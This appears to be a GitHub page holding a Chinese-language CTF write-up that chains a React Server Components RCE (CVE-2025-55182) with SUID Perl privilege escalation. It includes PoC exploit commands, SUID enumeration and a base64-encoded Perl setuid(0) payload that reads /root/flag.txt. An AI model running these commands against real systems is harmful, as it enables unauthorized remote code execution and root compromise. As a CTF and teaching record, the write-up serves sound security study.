AbdullahMaqbool22/Explosive-As-Hell-MCS-Qualifer-Web-500
GitHub: AbdullahMaqbool22/Explosive-As-Hell-MCS-Qualifer-Web-500
一个展示 React Server Components RCE 与 SUID 提权完整攻击链的 CTF 复盘项目。
Stars: 0 | Forks: 0
# CVE-2025-55182 — React Server Components RCE | CTF Writeup
## TL;DR
React Server Component 端点存在 CVE-2025-55182(RCE)漏洞 → 枚举 SUID 二进制文件 → `/usr/bin/perl` 具有 SUID 权限 → 使用 Perl 的 POSIX `setuid(0)` 提权至 root → 读取 `/root/flag.txt`。
**Flag:**`MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}`
## 第一步 — 侦察
**目标:**`http://challenge.cybermesh.site:30035/`
目标是一个基于 React 的 Web 应用程序,利用了 **React Server Components(RSC)** —— 一种相对较新的架构,组件在服务器端执行,并通过自定义线性格式将序列化输出流式传输回客户端。
这种架构引入了服务器端执行边界。如果在该边界处对用户输入处理不当,就会引发安全问题,而 **CVE-2025-55182** 正是利用了这一点。
## 第二步 — 漏洞:CVE-2025-55182
**React Server Components RCE** — 服务器在将用户可控输入传递给服务器端组件执行层之前,未能进行适当清理。这使得攻击者可以注入在 Node.js 进程上下文中执行的系统级 shell 命令。
**攻击流程:**
1. 攻击者构造恶意的 RSC 载荷
2. 服务器反序列化输入并将未清理的值传递给服务器组件函数
3. 执行操作系统命令,结果通过 RSC 响应流式返回
4. 攻击者从响应体中读取命令输出
## 第三步 — 漏洞利用搭建
针对此 CVE 已有公开的 PoC:
```
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
```
初始验证 — 确认 RCE 和执行上下文:
```
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
```
**输出:**
```
[+] EXPLOITATION SUCCESSFUL
► app
```
服务器以 `app` 用户运行,并非 root — 需要提权。
## 第四步 — SUID 二进制文件枚举
扫描 SUID 二进制文件:
```
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
```
**输出:**
```
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
```
`/usr/bin/perl` 具有 **SUID 权限**。这是一个广为人知的 [GTFOBins](https://gtfobins.github.io/gtfobins/perl/) 条目 — 当 Perl 属于 root 且设置了 SUID 时,无论谁调用它,都会以 root 权限执行。
## 第五步 — 通过 SUID Perl 提权
构造了一个 base64 编码的 Perl 载荷,用于:
- 设置 PATH
- 调用 `POSIX::setuid(0)` 提升至 root
- 打开并读取 `/root/flag.txt`
通过 RCE 端点传递该载荷:
```
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
```
**载荷解码后大致为:**
```
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
```
**输出:**
```
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
```
## Flag
```
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
```
## 关键收获
**1. RSC 攻击面被低估。**
React Server Components 是一种新范式。许多部署尚未针对服务器组件边界处的输入注入进行加固。此 CVE 提醒我们,“服务端渲染”并不等同于安全 — 执行边界仍需适当的输入清理。
**2. 脚本语言上的 SUID = 即时 root。**
带有 SUID 的 `/usr/bin/perl` 是一个典型的错误配置。GTFOBins 详细介绍了这一点。不要对脚本语言设置 SUID 位(Perl、Python、Ruby 等)— 与专为 SUID 设计的编译型二进制文件(如 `su`、`passwd`)不同,这些运行时提供了简单的提权路径。
**3. Flag 具有自指性。**
`SU1D_AR3_FUN_BUT_N0T_EVERYTIM3` — 挑战明确围绕 SUID Perl 作为预期提权路径设计。干净的攻击链。
## 攻击链总结
```
CVE-2025-55182 (RSC RCE)
└─> whoami → user "app"
└─> find SUID binaries
└─> /usr/bin/perl (SUID root) identified
└─> base64 Perl payload → write to /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
```
## 参考资料
- [github.com/surajhacx/react2shellpoc](https://github.com/surajhacx/react2shellpoc)
- [GTFOBins — perl SUID](https://gtfobins.github.io/gtfobins/perl/)
- [NVD — CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
*作者:Abdullah Maqbool — 渗透测试工程师 @ TISS | CRTA · CRTOM · CompTIA PenTest+*
标签:CVE-2025-55182, GNU通用公共许可证, MITM代理, Node.js, Perl, POSIX, RCE, React Server Components, RSC, setuid, SUID, Web报告查看器, Writeup, 协议分析, 反序列化, 命令注入, 提权, 服务器端组件, 权限提升, 枚举, 编程工具, 网络安全审计, 远程代码执行